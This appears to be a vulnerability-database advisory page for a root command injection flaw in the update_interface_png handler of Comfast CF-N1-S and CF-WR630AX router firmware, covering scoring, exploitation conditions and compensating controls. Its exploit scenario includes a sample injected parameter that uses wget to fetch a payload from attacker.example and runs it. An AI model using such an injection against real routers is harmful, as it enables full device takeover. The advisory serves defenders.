Skip to main content

Comfast Router Firmware CVE-2026-75364

| EUVDEUVD-2026-66744 MEDIUM
OS Command Injection (CWE-78)
2026-08-26 mitre GHSA-qv35-pwh5-6j88
6.8
CVSS 3.1 · Vendor: mitre
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain admin credentials for router
  2. Delivery
    Connect to router's local management network
  3. Exploit
    Send crafted POST to update_interface_png handler
  4. Execution
    Inject shell metacharacters in display_name parameter
  5. Persist
    system() executes injected payload as root
  6. Impact
    Full router compromise achieved

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Two concrete prerequisites must both be satisfied: (1) The attacker must be on the same network segment as the router's web management interface (AV:A - not reachable from the open internet under default configurations unless management is explicitly port-forwarded through NAT, which is non-default and inadvisable). (2) The attacker must possess valid administrator credentials for the device's web management interface (PR:H). The vulnerable code path is the update_interface_png SET handler, a standard feature of the firmware's graphing subsystem, which is present and active by default on affected builds. Limiting factors are the adjacent-network constraint (blocks internet-based opportunistic scanning) and the high-privilege authentication requirement (blocks unauthenticated exploitation). Exploitation is bounded to the router device itself (S:U); no lateral movement to other systems results from the vulnerability alone.

Impact

The CVSS 3.1 score of 6.8 (Medium) accurately captures the constrained exploitation conditions: adjacent-network access (AV:A) and administrator-level credentials (PR:H) are both required, which are meaningful real-world barriers. Despite the maximum C/I/A impact ratings reflecting full device compromise at root, the attack surface is genuinely narrow - exploitation is not possible from the open internet under default configurations, and an attacker must already control an admin account. EPSS at 0.17% (6th percentile) is consistent with this picture and indicates no observed mass exploitation activity. A public PoC on GitHub lowers the technical barrier for any attacker who meets the prerequisites, but has not driven EPSS higher. KEV absence further supports that exploitation remains low-volume or targeted. No conflicts between data signals are present. The primary realistic threat actor is an insider, a compromised admin credential holder, or an attacker who has already achieved local network access - not an opportunistic internet scanner.

Exploit ScenarioDerived

An attacker with administrator access to the Comfast router's local-network web management interface sends a crafted POST request to the update_interface_png endpoint with a display_name value containing shell metacharacters - for example, a value such as 'x; wget http://attacker.example/payload -O /tmp/p; sh /tmp/p'. The webmgnt binary passes this unsanitized value through sprintf() into the /etc/rrd/graphinterface command string and calls system(), executing the injected commands as root. The public PoC on GitHub confirms this path is straightforward for any attacker who satisfies the adjacent-network and admin credential prerequisites.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 31, 2026

Command injection in Comfast CF-N1-S firmware 2.6.0.1 and CF-WR630AX (2024-01-30 build) allows an adjacent-network attacker holding administrator credentials to execute arbitrary OS commands with root privileges. The flaw is in the update_interface_png SET handler within /usr/bin/webmgnt, where the display_name parameter is unsanitized and concatenated via sprintf() directly into a shell command string passed to system(). A public proof-of-concept is available on GitHub; EPSS at 0.17% (6th percentile) indicates no current widespread exploitation, and the vulnerability is not listed in CISA KEV.

RemediationAI

No vendor-released patch has been identified at time of analysis for either affected firmware version. Until a patch is available, apply the following specific compensating controls: (1) Restrict access to the router web management interface using firewall ACLs or VLAN isolation so only explicitly authorized administrator workstations on the local network can reach it - this directly addresses the AV:A attack vector and eliminates exposure from broader network segments. (2) If WAN-side management access is enabled, disable it immediately, as any NAT/port-forwarding exposure of the management port would expand the effective attack surface beyond the local segment. (3) Rotate administrator credentials and enforce strong unique passwords; since PR:H is required, credential compromise is the prerequisite. (4) Monitor Comfast's official firmware distribution channel for a patched release. No vendor advisory URL is available from current references. The public PoC at https://github.com/Flechao1/iot-vuln/tree/main/cve-pocs/CVE-2026-75364 can assist defenders in validating exposure.

Affected VersionsENISA

n/a n/a

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The /usr/bin/webmgnt binary handles the router's web management interface; its update_interface_png handler receives an HTTP parameter (display_name) and concatenates it without sanitization via sprintf() into the shell command template /etc/rrd/graphinterface %s %s, which is executed by system() running as root. Because the parameter slot is unquoted in the template, shell metacharacters such as semicolons, pipes, or backticks allow an attacker to break out of the intended argument and inject arbitrary commands. Affected hardware is Comfast CF-N1-S (firmware 2.6.0.1) and CF-WR630AX (firmware build 2024-01-30), both consumer/SMB-grade wireless routers. The NVD CPE entry is populated as cpe:2.3:a:n/a:n/a:*:*:*:*:*:*:*:*, which is effectively empty and does not support automated product correlation.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (mitre) PRIMARY 6.8 MEDIUM
AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 6.8 MEDIUM

Adjacent-network vector (AV:A) and admin credentials (PR:H) required; root-level command execution via system() justifies C/I/A all High with unchanged scope.

3.1 AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
4.0 AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (mitre).

CVSS VectorVendor: mitre

Attack Vector
Adjacent
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
CVSS changed
Aug 31, 2026 - 18:22 NVD
6.8 (MEDIUM)
CVE Published
Aug 26, 2026 - 00:00 cve.org
MEDIUM 6.8
CVE Published
Aug 26, 2026 - 00:00 cve.org
UNKNOWN (no severity yet)

DescriptionCVE.org

Comfast CF-N1-S firmware 2.6.0.1 and CF-WR630AX (2024-01-30 build), the update_interface_png SET handler in /usr/bin/webmgnt fails to sanitize the display_name parameter. User-controlled input is concatenated via sprintf() into the unquoted shell command /etc/rrd/graphinterface %s %s and executed by system() with root privileges. A remote authenticated attacker can inject arbitrary commands

Threat Intelligence Overview

EPSS Score
0.2%
Top 94% exploitable
Prevalence
Low
budget IoT router brand, limited enterprise deployment footprint
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Controlled
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

54
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +34
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy